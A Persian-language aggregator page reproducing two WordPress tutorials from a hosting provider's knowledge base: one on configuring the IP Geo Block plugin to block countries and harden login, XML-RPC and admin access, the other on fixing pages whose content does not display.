یکی از مشکلاتی که در هر سایتی باهاش مواجه خواهید شد اینه که گاها حملاتی به سایت شما از طریق آی‌پی کشورهای دیگه میشه و یا اینکه تصمیم دارید دسترسی به سایت رو برای برخی کشورها غیرفعال کنید. اینجاست که نیاز به این پیدا می‌کنید که از طریق بستن آی پی وردپرس رو ایمن کنید. وقتی IP یک کشور رو در وردپرس تعریف کنید که دسترسی برای اون وجود نداشته باشه، هر کاربری که به سایت مراجعه کنه قادر به مشاهده صفحات سایت نیست. در این صورت میتونید کاربرانی که با آی‌پی خارجی به وردپرس میان رو به صفحه خاصی ریدایرکت کرد یا اینکه کلا یک پیغام دلخواهی بهشون نمایش داد.

تو این آموزش از پایگاه دانش میزبان‌فا قصد دارم به معرفی افزونه بستن آی پی وردپرس بپردازم که با این افزونه میتونید IP هر کشوری که در نظر دارید رو تعریف کنید که دسترسی به سایت برای این نوع آی‌پی وجود نداشته باشه و یا اینکه مشخص کنید دسترسی به پیشخوان وردپرس فقط با آی‌پی ایران فراهم باشه. البته این آموزش یک پیش درآمدی از یک آموزش جلوگیری از حملات DDOS در وردپرس هست که قراره در مقالات بعدی به معرفی راه‌هایی برای از بین بردن حملات دیداس در وردپرس بپردازم.

نحوه بستن آی پی کشورها در وردپرس

افزونه‌ای که قصد دارم برای بستن آی پی در وردپرس معرفی کنم با عنوان IP Geo Block در مخزن وردپرس به ثبت رسیده و تاکنون تونسته بیش از 30.000 نصب فعال و کسب امتیاز 4.6 را ازآن خودش بکنه که با استفاده از این افزونه میتونید آی پی کشورهای مختلف در وردپرس را برای دسترسی به سایت ببندید. از قابلیت‌های خوبی که این افزونه در اختیار شما قرار میده میشه به موارد زیر اشاره کرد.

  • امکان تعریف لیست سیاه و سفیدی از آی‌پی برای دسترسی یا عدم به سایت
  • بستن دسترسی به برخی دایرکتوری‌های حیاتی در وردپرس مثل wp-admin و wp-config.php
  • امکان ایجاد محدودیت در ورود به وردپرس
  • امکان محدود کردن دسترسی به سایت وردپرس برای بخش مدیریت یا بخش کاربری سایت
  • امکان گزارش گیری و ذخیره لاگ
  • و…

برای استفاده از این افزونه ابتدا روی دکمه زیر کلیک کنید تا به صفحه افزونه در مخزن وردپرس هدایت بشید و بعدش با استفاده از راهنمای نصب افزونه در وردپرس اقدام به نصب و فعال سازی افزونه در سایت خودتون بکنید.

دانلود افزونه IP Geo Block

بعد از نصب و فعال سازی این افزونه مشابه تصویر زیر منویی با عنوان IP Geo Block در بخش تنظیمات وردپرس اضافه میشه که با کلیک روی این منو میتونید به صفحه تنظیمات افزونه بستن ip کشورها در وردپرس هدایت بشید.

نحوه بستن آی پی کشورها در وردپرس با افزونه بستن آی پی وردپرس

Your IP address / Country: تو اینجا آی‌پی خود شما نشون داده میشه که گاها به صورت کش شده هست که با کلیک روی دکمه scan country code میشه اونو به‌روز کرد.

Matching rule: تو این گزینه دو حالت whitelist و blacklist رو دارید که میتونید مشخص کنید تنظیماتی که بر اساس آی‌پی یا کد کشور در ادامه وارد میکنید جزو لیست سفید هستند یا لیست سیاه.

Whitelist of country code: اگر گزینه لیست سفید انتخاب شده باشه این گزینه بهتون نشون داده میشه که میتونید با وارد کردن کد هر کشور و جدا کردنشون با استفاده از کاراکتر انگلیسی کاما(,) هر کشور رو از هم جدا کنید. برای نمونه اگر قصد دارید کشورهای آمریکا، کانادا و آلمان رو در این لیست قرار بدین باید در این کادر از عبارت us, ca, de استفاده کنید که هر کدوم مربوط به کد این کشورها هستند. برای به دست آوردن کد هر کشور هم کافیه به صفحه Officially assigned code elements در ویکی‌پدیا مراجعه کنید.

Use Autonomous System Number (ASN): با استفاده از این گزینه هم میتونید دسترسی به وردپرس را بر اساس ASN محدود کنید. که بر اساس یک شبکه خاص هست.

Whitelist of extra IP addresses prior to country code (CIDR, ASN): با استفاده از این گزینه هم میتونید یک تعدادی آپی خاص رو بر اساس CIDR و ASN به صورت ترکیبی وارد کنید که در لیست سفید قرار بگیرند.

Blacklist of extra IP addresses prior to country code (CIDR, ASN): با استفاده از این گزینه هم میتونید یک تعدادی آپی خاص رو بر اساس CIDR و ASN به صورت ترکیبی وارد کنید که در لیست سیاه قرار بگیرند.

Bad signatures in query: با استفاده از این گزینه هم میتونید مسیرها و فایل‌های مهم وردپرس رو مشخص کنید که از کوئری‌های بدی که ممکنه برای این دایرکتوری و فایل‌ها ارسال بشه جلوگیری کنید.

Prevent malicious file uploading: معمولا اگر سایتی مورد هک قرار بگیره هکرها سعی می‌کنند با استفاده از آپلود فایل و قرار دادن درب پشتی راه‌هایی رو برای نفوذ مجدد در سایت ایجاد بکنند. که با فعال کردن این گزینه میتونید از آپلود فایل برای قرار دادن درب پشتی جلوگیری کنید.

Max number of failed login attempts per IP address: با فعال کردن این گزینه هم میتونید تعداد دفعات مجاز ورود به وردپرس رو مشخص کنید که اگر بیش از این تعداد بود آی‌پی مورد نظر بلاک بشه و سایت برای این آی‌پی در دسترس قرار نگیره.

نحوه بستن آی پی کشورها در وردپرس با افزونه بستن آی پی وردپرس

تنظیمات Back-end برای بلاک آی‌پی وردپرس

تنظیماتی که توی این قسمت انجام میدین برای دسترسی و محدودیت آی پی در پیشخوان وردپرس هست. اگر در تنظیمات مرحله قبل آی‌پی و لوکیشن کشورهایی رو در لیست سیاه یا سفید قرار داده باشید تو اینجا اعمال میشن.

Comment post: معمولا بیشترین حملاتی که برای کند کردن یا DDOS به سایتی زده میشه از بخش دیدگاه‌های وردپرس هست. بنابراین با فعال کردن تیک این گزینه میتونید از این کار جلوگیری کنید. البته حتما از آموزشی که برای آموزش جلوگیری از ارسال نظرات اسپم در وردپرس تهیه کردم در کنار این قابلیت استفاده کنید.

XML-RPC: یکی دیگه از راه‌هایی که برای حملات بروت فورس در وردپرس یا DDOS انجام میگیره از طریق فایل XML-rpc هست که با استفاده از این بخش میتونید یا به صورت کلی غیرفعالش کنید و یا اینکه دسترسی برای کشورهایی که مشخص شده رو ببندید. پیشنهاد می‌کنم به صورت کلی دسترسی به فایل xml-rpc رو محدود کنید. برای این کار میتونید از راهنمای xml-rpc وردپرس چیست؟ و نحوه غیرفعال کردن xml-rpc وردپرس استفاده کنید.

Login form: اگه مایل هستید دسترسی به صفحات ورود در وردپرس رو محدود کنید میتونید با فعال کردن تیک این گزینه این کار رو انجام بدین. بعد از فعال کردن این حالت گزینه Target actions هم فعال شده و با کلیک روی این بخش میتونید مشخص کنید که چه فرم‌هایی که مربوط به صفحه ورود، ثبت نام، فراموشی رمز و… در وردپرس هستند از این قانون تبعیت کنند.

Admin area: با استفاده از این گزینه هم میتونید دسترسی به پیشخوان وردپرس برای آی‌پی و کشورهایی که مشخص کردید رو ببندید.

Admin ajax/post: اگه از کاربران همیشگی میزبان‌فا بوده باشید، پیش از این در مقاله آموزش رفع مشکل مصرف بالای CPU هاست در وردپرس به این موضوع پرداختیم که چطور از مصرف CPU ّاست در وردپرس که باعث و بانیش همین فایل admin-ajax هست جلوگیری کنیم. تو اینجا هم میتونید با بلاک کردن آی‌پی تا حدودی از این کار جلوگیری کنید که اگر با مشکل مصرف زیاد cpu در وردپرس مواجه شده بودید با این روش بتونید برطرف کنید.

Plugins area و Themes area: با فعال کردن این دو گزینه هم میتونید از درخواست‌هایی که ممکنه به ترتیب برای برخی فایل‌های افزونه‌ها و قالب ارسال بشه جلوگیری کنید.

نحوه بستن آی پی کشورها در وردپرس با افزونه بستن آی پی وردپرس

محدود کردن کشور خاص در سایت وردپرسی

اصلی‌ترین بخش این مقاله مربوط به این قسمت هست که با استفاده از این گزینه میتونید دسترسی به بخش سایت که برای بازدیدکننده ها قابل مشاهده است رو محدود کنید. با محدود کردن هر کشور خاص یا ip دیگه کاربران قادر به مشاهده سایت نیستند و بر اساس تنظیماتی که انتخاب می‌کنید میتونید اونارو به صفحه خاصی ریدایرکت کنید یا اینکه پیغام دلخواهی رو در سایت نمایش بدین.

Public facing pages: با فعال کردن این گزینه حالت بلاک کردن کشور برای دسترسی به کل سایت فعال خواهد شد.

Matching rule: با استفاده از این گزینه میتونید مشخص کنید که کشورهایی که در ادامه وارد می‌کنید جزو لیست سیاه هستند یا سفید. اگر در لیست سفید باشند فقط این کشورها دسترسی به سایت خواهند داشت، اما اگر در لیست سیاه باشند این کشورها قادر به مشاهده سایت نخواهند بود.

Blacklist of country code: بر اساس انتخابی که برای لیست سیاه و سفید در گزینه قبلی مشخص کردید حالا هر کشوری که در اینجا وارد کنید جزو این لیست قرار میگیره. به عنوان نمونه من حالت بلاک کردن رو انتخاب کردم که میخوام به ترتیب دسترسی کشورهای آمریکا، کانادا و آلمان رو به سایتم ببندم، در این حالت باید تو این کادر از کد این کشورها که شامل us, ca, de هست استفاده کرد. برای به دست آوردن کد هر کشور هم کافیه به صفحه Officially assigned code elements در ویکی‌پدیا مراجعه کنید.

Response code (RFC 2616): حالا که دسترسی بسته شده باید مشخص کنم که اگر کاربری جزو این لیست بود چه اتفاقی براش بیفته. میتونید کاربر رو ریدایرکت کنید یا اینکه یک پیغام بهش نشون بدین. برای این کار ابتدا باید از بین گزینه‌های موجود یکی از حالت‌ها رو انتخاب کنید.

  • 301 Moved Permanently
  • 302 Found
  • 303 See Other
  • 307 Temporary Redirect
  • 400 Bad Request
  • 403 Forbidden
  • 404 Not Found
  • 406 Not Acceptable
  • 410 Gone
  • 500 Internal Server Error
  • 503 Service Unavailable

با انتخاب هر کدوم از گزینه‌های بالا چنین صفحه‌ای به کاربر نشون داده میشه که دو حالت خواهید داشت. حالا اول اینه که فیلدی نشون داده میشه که میتونید یک پیغام دلخواه در بخش Response message برای نمایش انتخاب کنید. حالت دوم هم اینه که میتونید یک آدرس دلخواه در Redirect URL وارد کنید تا کاربر به اون صفحه ریدایرکت بشه.

Validation target: با استفاده از این بخش هم میتونید مشخص کنید که این حالت برای چه صفحاتی اتفاق بیفته. اگر گزینه All Requests انتخاب شده باشه همه صفحات از این قانون پیروی می‌کنند، اما اگه صفحه خاصی مثل نوشته‌ها، دسته بندی، برچسب و… انتخاب شده باشه صرفا دسترسی به این صفحات محدود میشن.

Block badly-behaved bots and crawlers: با فعال کردن این گزینه هم میتونید دسترسی ربات‌ها رو به سایت ببندید. البته ربات‌هایی که درخواست‌های بد به سایت شما هدایت می‌کنند. بعد از فعال کردن میتونید تعداد و مدت زمانی که باید ربات در لیست بلاک قرار داشته باشه رو انتخاب کنید.

UA string and qualification: با استفاده از این گزینه هم میتونید رشته‌ها و فعالیت‌های UA رو برای دسترسی به سایت مشخص کنید.

DNS reverse lookup: این حالت برای جستجوی معکوس DNS هست که بسته به تنظیمات UA که در مرحله قبل مشخص شده میزان True یا False رو ارسال خواهد کرد.

نحوه بستن آی پی کشورها در وردپرس با افزونه بستن آی پی وردپرس

تنظیمات خصوصی و ذخیره سازی

Anonymize IP address: اگر این حالت فعال شده باشه امکان ذخیره و شناسایی آی‌پی فراهم خواهد بود. در این صورت آدرس ip ها در فایل لاگ و در بخش لاگ افزونه ذخیره میشن که میتونید شناسایی کنید از چه کشورها و لوکیشن‌هایی بوده‌اند.

Do not send IP address to external APIs: اگر این گزینه فعال شده باشه اطلاعات آدرس ip برای API های خارجی ارسال نخواهد شد.

Record Statistics: با فعال کردن این گزینه حالت ذخیره آمار فعال میشه و میتونید با رفتن به بخش آمار جزییات کاملی از محدودیت‌های اعمال شده رو ببینید.

Record “IP address Cache”: با فعال کردن این گزینه داده‌ها به صورت کش شده در سایت ذخیره میشن تا برای مشاهده اونها دیتابیس زیاد مشغول نباشه و سرعت سایتتون کند بشه.

Expiration time [sec] for each entry: در صورتی که در تنظیمات بخش پیشخوان وردپرس محدودیت تلاش برای ورود در وردپرس رو فعال کرده باشید از اینجا میتونید بر حسب ثانیه مشخص کنید که هر آی‌پی برای چه مدتی در لیست بلاک قرار داشته باشه.

Record “Logs”: از اینجا هم میتونید مشخص کنید که لاگ‌ها در چه شرایطی ذخیره شوند. در اینجا گزینه‌ها به شکل لیست سیاه، لیست سفید، همه و… قرار دارند.

Expiration time [days] for each entry: با استفاده از این گزینه هم میتونید مشخص کنید که داده‌ها و لاگ‌های ذخیره شده تا چند روز در سایت نگهداری شوند. حداکثر زمانی که میتونید آی‌پی رو ذخیره کنید برای 500 روز هست.

$_POST key to record with value: با استفاده از این گزینه هم میتونید درخواست‌هایی که در نظرات، فایل‌ها و actions های وردپرس ارسال میشه رو ذخیره کنید.

Interval [sec] to cleanup expired entries of IP address: با استفاده از این گزینه هم میتونید مدت زمانی رو که مجاز هست آی‌پی های منقضی شده در حالت ذخیره شده باقی بمونن رو مشخص کنید. بعد از گذشت این زمان ip ها حذف خواهند شد.

Remove all settings and records at uninstallation: با فعال کردن این گزینه هم بعد از حذف افزونه کلیه اطلاعات و تنظیمات افزونه که در دیتابیس قرار دارند حذف خواهند شد.

سایر تنظیمات افزونه هم مربوط به خروجی گرفتن، درون ریزی و قابلیت‌های پولی هستند که از توضیح این موارد می‌گذریم. حالا برای اینکه بتونید گزارش گیری از افزونه برای ip های بلاک شده و سایر آمار داشته باشید ادامه آموزش رو دنبال کنید.

نحوه بستن آی پی کشورها در وردپرس با افزونه بستن آی پی وردپرس

با رفتن به statistics میتونید گزارش آی‌پی های بلاک شده رو به همراه نمودار و جزییات کامل که شامل کشورهای بلاک شده، ip ّای کش شده، تعداد آی پی بلاک شده در هر روز و… رو مشابه تصویر بالا ببینید.

نحوه بستن آی پی کشورها در وردپرس با افزونه بستن آی پی وردپرس

با رفتن به تب Logs هم میتونید آی‌پی ها رو بر اساس نوه بلاک که میتونه از صفحات ورود در وردپرس، xml-rpc، پیشخوان وردپرس، نظرات وردپرس و همه هست مشاهده کنید. امکان جستجو یک رنج ip در وردپرس یا ip خاص هم فراهم هست که میتونید ازش گزارش گیری هم بکنید.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از این آموزش تونسته باشید آی پی کشورهای خاص در وردپرس رو بلاک کنید یا اینکه دسترسی به سایت رو برای چند کشور خاص فراهم کنید. در صورتی که درباره این آموزش و نحوه بستن آی پی کشورها در وردپرس سوال یا مشکلی داشتید در بخش دیدگاه‌ها اعلام کنید.

نوشته آموزش بستن آی‌پی کشورها در وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش حل مشکل عدم نمایش محتوای برگه در وردپرس

$
0
0

وقتی شروع به نصب وردپرس می‌کنیم و وارد پیشخوان وردپرس میشیم با دو نوع ساختار محتوایی رو به‌رو هستیم. ساختار اول نوشته‌ها هستند که میتونید باهاشون مطالب سایت رو منتشر کنید و لیستی از مطالب رو در سایت نشون بدین و ساختار دوم برگاه‌ها یا همون صفحات وردپرس هستند که ساختار پیچیده‌تری از نوشته‌ها دارند. در برگه وردپرس شما امکان انتخاب برچسب یا دسته بندی ندارید، یا اینکه وقتی برگه رو منتشر می‌کنید در سایت نشون داده نمیشه و برای نمایش اون باید لینکش رو در دسترس کاربران قرار بدین که برای توضیحات بیشتر میتونید از مقاله تفاوت نوشته و برگه در وردپرس استفاده کنید. اما گاهی اوقات ممکنه مشکلی در برگه‌ها پیش بیاد یا اینکه به صورت کلی قالب شما طوری باشه که محتوای برگه در وردپرس نمایش داده نمیشه که در این صورت با مشکل عدم نمایش محتوای برگه در وردپرس مواجه میشید.

تو این آموزش از پایگاه دانش میزبان‌فا قصد دارم به معرفی روش‌هایی برای حل مشکل نشون ندادن محتوای برگه‌ها در وردپرس بپردازم که با استفاده از روش‌های معرفی شده میتونید در حالتی که با عدم نمایش برگه در وردپرس مواجه شدید، به راحتی مشکل رو برطرف کرده و متن و محتوای کامل برگه رو در وردپرس نمایش بدین. پس تا انتها همراه ما باشید.

آموزش حل مشکل عدم نمایش محتوای برگه در وردپرس

برای حل مشکل عدم نمایش برگه وردپرس ابتدا باید چند موضوع را بررسی کنید که مشخص بشه مشکل از کجاست. در طراحی قالب وردپرس فایل‌های مختلفی وجود دارند که هر کدوم محتوای یک صفحه رو نمایش میدن. به عنوان نمونه فایل single.php برای نمایش محتوای نوشته‌ها در وردپرس هست. یا اینکه فایل‌های category.php، tag.php، archive.php و… به ترتیب صفحات دسته بندی، برچسب و آرشیو مطالب رو در وردپرس نمایش میدن. برای برگه‌ها هم همین حالت وجود داره که محتوای برگه در وردپرس با استفاده از فایل page.php نمایش داده خواهد شد.

پس اگر حالتی پیش بیاد که محتوای برگه در وردپرس نمایش داده نشه میتونه بخاطر سه دلیل زیر باشه:

  • عدم وجود فایل page.php قالب
  • عدم وجود تابع نمایش محتوای برگه در فایل page.php
  • ایجاد اختلال از سمت افزونه‌های وردپرس

پس برای اینکه بتونید مشکل رو برطرف کنید باید سه مورد بالا رو بررسی کنید. در اولین قدم چک کنید که در پوشه قالب خودتون فایل page.php وجود داشته باشه. برای این کار ابتدا وارد هاست خودتون شده و بعد از اینکه روی File Manager کلیک کردید به مسیر public_html/wp-content/themes مراجعه کنید. حالا از اینجا باید پوشه قالبی که در حال حاضر روی سایت فعال هست رو انتخاب کرده و واردش بشید. سپس بین فایل‌هایی که در این مسیر وجود دارند بگردید و ببینید که آیا فایل page.php وجود داره یا خیر.

نحوه حل مشکل عدم نمایش محتوای برگه در وردپرس

اگر فایل page.php نداشت می‌تونید یک نسخه از فایل single.php کپی بگیرید و با تغییر نام به page.php در همین مسیر امکان نمایش محتوای برگه در وردپرس رو فراهم کنید.

اما اگر فایل page.php وجود داشت و محتوا نشون داده نمیشد روی فایل راست کلیک کرده و گزینه Edit رو انتخاب کنید که به صفحه ویرایش فایل هدایت بشید. حالا باید بررسی کنید و ببینید که تابع the_content() که برای نمایش محتوا در وردپرس به کار میره در این فایل وجود داره یا خیر.

نحوه حل مشکل عدم نمایش محتوای برگه در وردپرس

اگر وجود نداشت باید تابع زیر رو در جای مناسبی از فایل اضافه کنید.

<?php the_content(); ?>

بعد از اضافه کردن کد بالا محتویات برگه در وردپرس نمایش داده خواهد شد.

اما در حالت سوم ممکنه عدم نمایش برگه وردپرس بخاطر وجود یک اختلال با سایر افزونه‌ها به وجود اومده باشه که در این صورت باید بررسی کنید و ببینید که کدوم یکی از افزونه‌ها باعث این مشکل شده. برای رفع مشکل در این حالت میتونید کل افزونه‌ها رو غیرفعال کنید. بعدش در هر بار که یک افزونه رو فعال می‌کنید بررسی کنید و ببینید که بعد از فعال سازی کدوم افزونه محتویات از بین خواهند رفت. در این صورت مشخص میشه که مشکل از کدوم افزونه است و کافیه از افزونه جایگزین استفاده کنید یا اینکه ببینید مشکل بخاطر چی هست و برطرف کنید.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از این آموزش تونسته باشید مشکل عدم نمایش محتوای برگه در وردپرس رو برطرف کنید. در صورتی که در رابطه با این آموزش سوال یا مشکلی داشتید در بخش دیدگاه‌ها اعلام کنید.

نوشته آموزش حل مشکل عدم نمایش محتوای برگه در وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

Viewing all 383 articles
Browse latest View live




Latest Images